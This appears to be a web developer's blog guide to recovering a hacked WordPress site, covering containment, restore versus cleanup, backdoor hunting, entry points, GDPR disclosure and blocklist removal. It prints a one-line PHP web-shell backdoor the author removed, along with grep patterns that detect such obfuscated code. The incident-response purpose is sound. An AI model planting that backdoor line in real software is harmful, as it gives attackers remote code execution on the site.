Hacked WordPress Site? Step-by-Step Recovery Without Losing Your Data

A hacked WordPress site feels like a burglary: someone was inside your property, you do not know what they touched, and Google is now telling your customers to stay away. Take a breath. In more than a decade of cleaning up hacked client sites I have never seen one that could not be recovered, and in almost every case the content, the orders and the SEO survived. What decides how painful the next few days will be is what you do in the first hour – and whether you fix the hole the attackers used, not just the mess they left.

This guide is the calm, step-by-step version of what I actually do when a client calls me with a WordPress site hacked: confirming it is really a compromise, containing it without destroying evidence, choosing between restoring a backup and cleaning in place, finding where malware and backdoors hide, identifying the entry point so it does not happen again, and getting off Google’s blocklist. I have done this dozens of times for businesses in Germany, the UK, the US and Australia. (If you are here before disaster strikes, start instead with my post on the security mistakes that get WordPress sites hacked – this article is about detection and recovery, that one is about prevention.)

Table of contents

• How you usually find out your site is hacked
• The first 30 minutes: contain, do not destroy
• Is it really a hack? Ruling out false alarms
• Damage assessment: what the malware is actually doing
• The big decision: restore from backup or clean in place
• Cleaning a hacked WordPress site in place, step by step
• Finding how they got in – the step everyone skips
• Online stores: card skimmers and disclosure duties
• Getting off Google’s blocklist and other blacklists
• Hardening after the cleanup
• Costs, timelines and when to call a professional
• Frequently asked questions

How you usually find out your site is hacked

Almost nobody discovers a hack by watching server logs. The news usually arrives in one of six ways, each hinting at the kind of compromise:

• Google’s red warning screen. Visitors see “Deceptive site ahead” – Safe Browsing has found phishing or malware on your domain, usually on pages you cannot see from the admin.
• An email from your hosting company. “Malicious files detected, account suspended.” Annoying, but useful: it often lists the exact infected file paths.
• A defaced homepage. The rarest and least dangerous variant. Loud hackers are amateurs; the professionals hide.
• Spam pages in your search results. Hundreds of indexed pages selling pharmaceuticals or replica watches, often in Japanese, on URLs that do not exist in your pages list. The classic SEO spam hack.
• Customers reporting redirects. “I clicked your site on my phone and ended up on a casino page.” Redirect malware often fires only on mobile, only from search results, or once per visitor – which is why you, typing the URL on your desktop, see nothing wrong.
• An admin user you did not create. Something bland like wp.admin, registered on a date nobody remembers. Assume there is more you have not spotted.

Two quieter signs: a flood of bounce-back emails (your server is sending spam) and sudden hosting resource warnings (a cryptominer eating CPU). If any of these sound familiar, keep reading in order – the sequence matters.

The first 30 minutes: contain, do not destroy

The most expensive mistakes happen in the first half hour, when the instinct is to delete everything that looks suspicious. Do not. Here is the sequence I ask every client to follow.

1. Do not panic-delete anything

Those ugly files are your forensic record: their timestamps tell you when the hack happened, their locations hint at how. Half-deleted malware also leaves sites broken and still infected. You will delete them soon, in a controlled way, after copying them.

2. Take the site offline or isolate it

Not with a maintenance-mode plugin – the compromised code keeps running underneath it. Instead, password-protect the site directory from your hosting panel (one checkbox in most panels), or if the site is actively serving phishing pages or skimming cards, ask the host to suspend public access temporarily. A store owner loses a day of sales this way; the alternative is losing customers’ card numbers.

3. Change every password – from a clean device

If the hack came from malware on your own laptop stealing saved passwords (it happens), changing passwords from that laptop hands the attackers the new ones too. Use a different machine or a phone on mobile data, and change, in this order: hosting panel, SFTP/FTP, WordPress admins, the database password, and the email account used for hosting and WordPress recovery. Long, unique, stored in a password manager.

4. Notify your hosting company

Even if they have not contacted you. Good hosts will pull server logs for you, tell you whether other accounts on the server were hit, and note the incident so an automated scan does not suspend you mid-cleanup. If they already suspended you, ask precisely what they found – file paths and detection names save hours.

5. Take a full backup of the hacked site

It sounds absurd, but you want a snapshot of files and database exactly as they are: it preserves evidence, protects you if the cleanup goes wrong, and lets a professional analyse the infection later. Download it to your computer; do not leave it on the server where the attacker can reach it.

Is it really a hack? Ruling out false alarms

About one call in five I get about a “hacked” site turns out to be something else: an expired domain in an old embedded widget now serving ads, a broken plugin update printing PHP warnings across the page, a browser antivirus false positive, or a stale cache showing a problem that is already fixed. Spend ten minutes confirming before you tear anything apart, in these four places:

• Google Search Console, Security Issues section. If Google flagged your site, the exact reason and sample URLs are listed here. Never set up Search Console? Do it now – you will need it for the delisting step anyway.
• An external scanner. Sucuri SiteCheck and VirusTotal’s URL scan are free and check your public pages against blocklists and malware signatures. They only see the outside of the site, so a clean result does not prove innocence – but a dirty result proves guilt.
• A site: search. Search Google for site:yourdomain.com. Spam pages you never created, titles in other languages, or descriptions about pharmaceuticals mean SEO spam injection – even when those pages 404 for you, because the malware cloaks and shows them only to Googlebot.
• Users and files. Check Users for administrators you do not recognise. Via SFTP, sort wp-content/uploads and the site root by modification date – PHP files inside uploads, or core files changed on a date when nobody deployed anything, settle the question.

If all four come back clean, you probably have a technical problem, not a security one – possibly performance, which is a different guide: how to speed up a WordPress site. If any come back dirty, carry on.

Damage assessment: what the malware is actually doing

Before deciding how to clean, understand what you are cleaning. Modern WordPress malware is a business, and each variety has a purpose:

• SEO spam injection. Thousands of generated pages selling pills, watches or essays, riding on your domain’s reputation. Damage: your rankings, sometimes for months. The Japanese keyword hack is the variant I see most.
• Malicious redirects. Visitors bounced to scam or casino pages, often conditionally (mobile only, search traffic only). Damage: trust, traffic, and a fast track onto Safe Browsing blocklists.
• Phishing kits. A fake bank login page tucked into a subdirectory under uploads. Your site is free hosting for someone else’s fraud. Damage: guaranteed blocklisting and abuse reports to your host.
• Card skimmers. On WooCommerce stores: JavaScript on the checkout copying card details to an attacker’s server as customers type. Damage: real harm to your customers and legal exposure for you – more in the stores section below.
• Backdoors. Small PHP files (web shells) that let the attacker back in regardless of any password changes. Almost every infection includes several, deliberately scattered – this is why half-done cleanups fail.
• Spam relays and miners. Your server quietly sends spam or mines cryptocurrency. Damage: email blocklisting and resource bills.

Write down what you find – which types, which files, which dates. Fifteen minutes of notes shortens every later step, from the cleanup to the Google review request to the report your host may ask for.

The big decision: restore from backup or clean in place

There are two roads to a clean site: roll back to a backup made before the infection, or remove the malware by hand. Owners usually assume cleaning is the proper way and restoring is cheating. It is the opposite – restoring to a known-clean state is the more reliable operation, when the conditions allow it.

How far back to go: take the earliest suspicious file modification date from your damage assessment and restore from comfortably before it – I go at least a few days earlier, because attackers often plant backdoors quietly and start the visible abuse weeks later. Before restoring, unzip the backup locally and search it for the same malicious patterns you found on the live site; infected backups are common, because most infections are discovered long after they began.

Two non-negotiables either way. First, restoring does not end the job – the vulnerability that let them in exists in the backup too, so restore and then immediately patch (next sections). Second, on a busy store a pure restore costs orders; the usual compromise, and what I do for most WooCommerce recoveries, is restoring files from the old backup while keeping the current database, then cleaning the database separately.

Cleaning a hacked WordPress site in place, step by step

If restoring is not an option, here is the manual cleanup, in the order that works – on the isolated site, with your hacked-state backup already downloaded.

Step 1: Replace WordPress core with fresh files

Download your exact WordPress version from wordpress.org. Delete wp-admin and wp-includes entirely and upload the fresh ones, then overwrite the root PHP files except wp-config.php. This wipes any core infection in one move, with zero risk to your content – core files never contain your data.

Step 2: Reinstall every plugin and theme from source

Delete each plugin directory and reinstall from the official repository or, for premium products, a fresh vendor download. Same for themes. Anything you cannot obtain from a legitimate source – abandoned plugins, that “free” copy of a paid theme – gets removed permanently, not reinstalled. Your settings survive because they live in the database, not the plugin folder.

Step 3: Hunt the leftovers by date and by pattern

Now only wp-content/uploads, custom code and stray files remain unverified. Two searches find most of what hides there. By date – list PHP files changed recently:

find . -type f -name "*.php" -mtime -30 -ls

And by pattern – the obfuscation tricks malware relies on:

grep -r --include="*.php" -l -E "eval\(base64_decode|gzinflate\(|str_rot13\(|eval\(\$_(POST|GET|REQUEST)" .

A real backdoor I removed from a client’s uploads folder was one line long:

<?php if(isset($_POST["k"])) { eval(base64_decode($_POST["k"])); } ?>

Harmless-looking filename (wp-cache.php), sitting in uploads/2023/05/, giving the attacker full remote code execution. Not sure whether a flagged file is legitimate? Diff it against the plugin’s official download rather than guessing.

Step 4: Check the classic hiding places

• PHP files anywhere under wp-content/uploads – there is no legitimate reason for any; delete them all, and ideally block PHP execution in that folder afterwards.
• Fake plugins – a directory in wp-content/plugins with a generic name like wp-core-helper containing one obfuscated file; they often hide themselves from the dashboard, so compare the folder on disk against the admin’s plugin list.
• wp-config.php injections – extra include or eval lines above or below the real configuration, sometimes padded with hundreds of blank lines so you stop scrolling too early.
• .htaccess redirects – rewrite rules sending search traffic elsewhere; check the root one and extras planted in subdirectories.
• wp-content/mu-plugins – must-use plugins load automatically and never appear in the normal plugin list; many owners do not know this folder exists, which is exactly why attackers love it.

Step 5: Clean the database

Check wp_users for administrators you did not create and delete them. Check wp_options for a poisoned siteurl/home, and inspect the cron option – malware schedules itself back into existence via fake cron events, a common reason a “cleaned” site reinfects overnight. Search wp_posts for injected <script> tags:

SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script%src=%' AND post_status = 'publish';

Also check server-level crontab entries in your hosting panel, and remove SSH keys or FTP accounts you did not create. Finally, generate new security keys (salts) for wp-config.php so every stolen login cookie dies at once.

Step 6: Verify before you celebrate

Run a scanner over the cleaned site (Wordfence or your host’s tool), re-check the outside with Sucuri SiteCheck, and watch file modification dates for 48 hours. A clean site stays clean; one with a surviving backdoor grows new files within days. Only then take the site out of isolation.

Finding how they got in – the step everyone skips

The uncomfortable statistic from my own client work: sites cleaned without finding the entry point usually get hacked again within a few weeks. Cleaning removes the squatters; it does not fix the broken lock. Every recovery must end with a plausible answer to “how did they get in?”, and the answer is nearly always one of four things:

• An outdated plugin or theme with a known vulnerability. The majority of the hacks I clean. Plugin vulnerabilities get published as CVEs, exploit scripts circulate within days, and bots scan the whole internet for sites still on the old version. Compare your plugin versions at the infection date against the WPScan vulnerability database – a match plus a matching timestamp in the access logs is your answer.
• Weak, reused or stolen passwords. An admin password reused on a breached site, an FTP password from 2019, no two-factor anywhere. The logs show a normal-looking login, which makes this one hard to prove and easy to fix.
• Nulled themes and plugins. Pirated premium products routinely ship with the backdoor already inside. If the site runs one, you have found your entry point.
• A compromised neighbour. On cheap shared hosting without proper account isolation, another customer’s hacked site can sometimes reach yours. Ask your host directly whether accounts are isolated; if they cannot answer clearly, move.

Ask your host for the access and FTP logs covering the infection window and look for POST requests to odd endpoints just before your earliest malicious file appeared. You do not need certainty – you need enough evidence to close the likeliest doors: update or remove the vulnerable plugin, rotate every credential, delete the nulled software, or change hosting. If the logs are gone, close all four doors and move on; that is still infinitely better than closing none.

Online stores: card skimmers and disclosure duties

A hacked WooCommerce store carries two extra responsibilities that a brochure site does not.

Check for a card skimmer specifically

Open your checkout and read every script it loads – view source, plus the browser’s network tab during a test checkout. A skimmer is JavaScript sending data to a domain you do not recognise, often disguised as a plausible analytics or payment host. Check the database too: skimmers get injected into theme customiser CSS/JS fields and plugin settings, not just files. One reassuring note: with hosted payment fields (Stripe Elements, PayPal, or a redirect to the provider), card numbers are typed into the provider’s iframe, not your page, which dramatically limits what a skimmer can capture. That is one reason I default to hosted fields when I build stores – if you are unsure what your checkout does, have a developer confirm it as part of any custom WordPress development or recovery work.

Understand your disclosure obligations – in plain language

I am a developer, not a lawyer, so treat this as orientation, not legal advice. Under GDPR, if personal data was likely accessed – names, addresses, anything typed into checkout – a business serving EU or UK customers generally must report the breach to its data protection authority within 72 hours of becoming aware of it, and must inform the affected customers directly when the risk to them is high (card data captured by a skimmer clearly qualifies). “We would rather not tell anyone” is not an available option; the fines for silence exceed the embarrassment of disclosure. If card data was skimmed, your payment provider needs to know too. The practical version for a small store: preserve your evidence, write the timeline down, follow your authority’s small-business guidance, and be straightforward with customers – they forgive an honest “here is what happened and what we did” far more readily than a rumour.

Getting off Google’s blocklist and other blacklists

Once the site is genuinely clean, the flags come off – but each one has its own process and pace.

Google Safe Browsing and Search Console

In Search Console’s Security Issues section, click Request Review once everything is fixed, and write a short, specific description: what the infection was, what you removed, how they got in, what you hardened. Two honest sentences beat a paragraph of pleading – the reviews are partly human, and specificity signals a real cleanup. Reviews typically resolve in one to three days; a failed review names the surviving problem, which is unpleasant but useful. The red browser warning disappears shortly after approval.

Your host

If the account was suspended, send the host the same summary: infection type, files removed, entry point, hardening done. Most hosts unsuspend within hours of a credible cleanup report – another place your incident notes pay for themselves.

Email blocklists

If the server sent spam, your domain or IP may sit on blocklists like Spamhaus, and suddenly your invoices land in junk folders. Check both with MXToolbox’s blacklist checker; each list has its own delisting form, and most delist within a day or two once the spam has stopped.

SEO recovery

The spam pages fall out of Google’s index over the following weeks – the Removals tool in Search Console speeds it up for the worst URLs. Rankings that dipped generally recover in two to eight weeks provided the site stays clean. This is the slowest clock in the whole recovery, and no one can honestly promise to shorten it much.

Hardening after the cleanup

A cleaned site with yesterday’s habits is a countdown to the next incident. The full prevention list lives in my post on WordPress security mistakes, so here is only the short version – the five changes that would have prevented most of the hacks I have cleaned:

• Update discipline. Core, plugins and themes within days of release, not months – my WordPress maintenance checklist gives you the weekly routine.
• Two-factor authentication on every administrator account, unique passwords everywhere else.
• Least privilege. Most users should be editors or shop managers, not administrators; delete accounts of people who left.
• A firewall in front. Cloudflare’s free tier or a WAF plugin blocks most automated exploit traffic before it reaches WordPress.
• File integrity monitoring and offsite backups. A scanner that emails you when a file changes turns the next attempt into a five-minute non-event; a daily offsite backup makes the restore decision easy next time.

If nobody in your business will realistically own this routine, pay someone to own it – that is exactly what my WordPress maintenance and security service is for: updates, monitoring, hardening, offsite backups and a person who already knows your site on the day something looks wrong.

Costs, timelines and when to call a professional

When to do it yourself, and when to call someone

If you are comfortable with SFTP, can read a little PHP, and the site is a standard blog or brochure site, the process above is doable in an afternoon or two. Call a professional when the site is a store or handles personal data, when you have cleaned it once and it came back, when the host is threatening permanent suspension, or when every hour of downtime costs real money. Reinfection after a DIY cleanup is the single most common situation in which I am hired.

What it honestly costs

Security companies charge roughly USD 200 to 500 for a cleanup, often bundled into a year-long subscription; agencies bill up to four figures. My approach is simpler: I look at the site first, then quote a fixed price within 24 hours – most cleanups take me three to eight hours at EUR 15 per hour, so the typical fixed quote lands between EUR 50 and EUR 150, including the entry-point investigation and basic hardening. Complicated multi-site infections or stores with skimmers cost more, and I say so upfront rather than on the invoice.

Realistic timeline expectations

What to keep afterwards

Do not delete your incident materials the day the red screen disappears. Keep the hacked-state backup archived off the server, your written timeline and notes, the identified (or suspected) entry point, and the list of rotated credentials. Then take a fresh, verified-clean backup and label it as your new baseline – the next time anything looks odd, that baseline turns a crisis into a comparison.

Need help with a hacked WordPress site right now?

If you are reading this mid-incident and want an experienced pair of hands: assessment, cleanup, entry-point investigation, blocklist reviews and hardening are work I do regularly, at a fixed price quoted within 24 hours. Start with my WordPress maintenance and security service, look at the portfolio, or send me a message describing what you are seeing – I reply within 24 hours, faster for active incidents.

Frequently asked questions

What should I do first if my WordPress site is hacked?

Do not delete anything. Isolate the site via your hosting panel, change every password from a clean device, notify your host, and download a full backup of the hacked state as evidence before any cleanup.

Can a hacked WordPress site be fully recovered?

Yes – in over a decade of cleanups I have not met an unrecoverable one. Content and data almost always survive; the lasting damage is usually a few weeks of reduced search traffic.

Should I restore a backup or clean the site manually?

Restore if you have a backup verifiably older than the infection – the more reliable path, provided you patch the entry point immediately afterwards. Clean in place when backups are missing, infected, or restoring would lose orders.

Why does my site keep getting reinfected after cleaning?

Either a backdoor survived (check uploads, mu-plugins and cron entries) or the original entry point – typically an outdated plugin or a stolen password – was never fixed. Both must be addressed.

How long does Google take to remove the hacked-site warning?

Approval after a Search Console review request typically takes one to three days, and the browser warning disappears shortly after. Leftover spam pages take a few weeks longer to drop out of the index.

How much does professional hacked-site cleanup cost?

Security firms charge roughly USD 200-500, agencies often more. I quote a fixed price after looking at the site – most cleanups land between EUR 50 and EUR 150 including entry-point investigation and basic hardening.

Will my customers’ data be affected by a hack?

SEO spam and redirects usually do not touch customer data; card skimmers and database access do. If personal data was likely exposed and you serve EU or UK customers, GDPR generally requires notifying your data protection authority within 72 hours.